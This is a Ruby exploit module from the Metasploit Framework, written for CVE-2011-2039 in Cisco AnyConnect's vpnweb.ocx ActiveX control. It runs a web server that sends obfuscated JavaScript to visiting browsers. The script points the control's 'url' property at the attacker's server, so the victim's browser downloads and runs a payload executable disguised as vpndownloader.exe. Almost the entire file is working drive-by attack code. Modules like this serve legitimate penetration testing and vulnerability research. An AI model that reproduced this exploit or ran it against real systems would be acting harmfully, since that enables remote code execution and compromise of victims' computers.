| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | ## # $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpServer::HTML  include Msf::Exploit::EXE  def initialize(info = {})  super(update_info(info,  'Name' => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',  'Description'=> %q{  This module exploits a vulnerability in the Cisco AnyConnect VPN client   vpnweb.ocx ActiveX control. This control is typically used to install the   VPN client. An attacker can set the 'url' property which is where the control  tries to locate the files needed to install the client.  The control tries to download two files from the site specified within the  'url' property. One of these files it will be stored in a temporary directory and   executed.  },  'License'=> MSF_LICENSE,  'Author' => [ 'bannedit' ],  'Version'=> '$Revision: 12872 $',  'References' =>  [  [ 'CVE', '2011-2039' ],  [ 'OSVDB', '72714'],  [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],  [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],  ],  'Platform' => 'win',  'Targets'=>  [  [ 'Automatic',  {  'Arch' => ARCH_X86  }   ],  ],  'DisclosureDate' => 'Jun 01 2011',  'DefaultTarget'=> 0))  register_options(  [  OptString.new('URIPATH', [ true, "The URI to use.", "/" ])  ], self.class)  end  def on_request_uri(cli, request)  if request.uri.match(/vpndownloader\.exe/)  exe = generate_payload_exe({:code => payload.encoded})  print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")  send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })  select(nil, nil, nil, 5) # let the file download   handler(cli)  return  end  if request.uri.match(/updates\.txt/)  print_status("Client requested: #{request.uri}. Sending updates.txt")  updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))  send_response(cli, updates, { 'Content-Type' => 'text/plain' })  return  end  url = get_uri(cli)  dir = rand_text_alpha((rand(40) + 1))  js = ::Rex::Exploitation::JSObfu.new %Q|  var x = document.createElement("object");   x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");  x.url = "#{url}/#{dir}/"; |  js.obfuscate  html = "<html>\n\t<script>#{js}\t</script>\n</html>"  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  send_response_html(cli, html)  end end |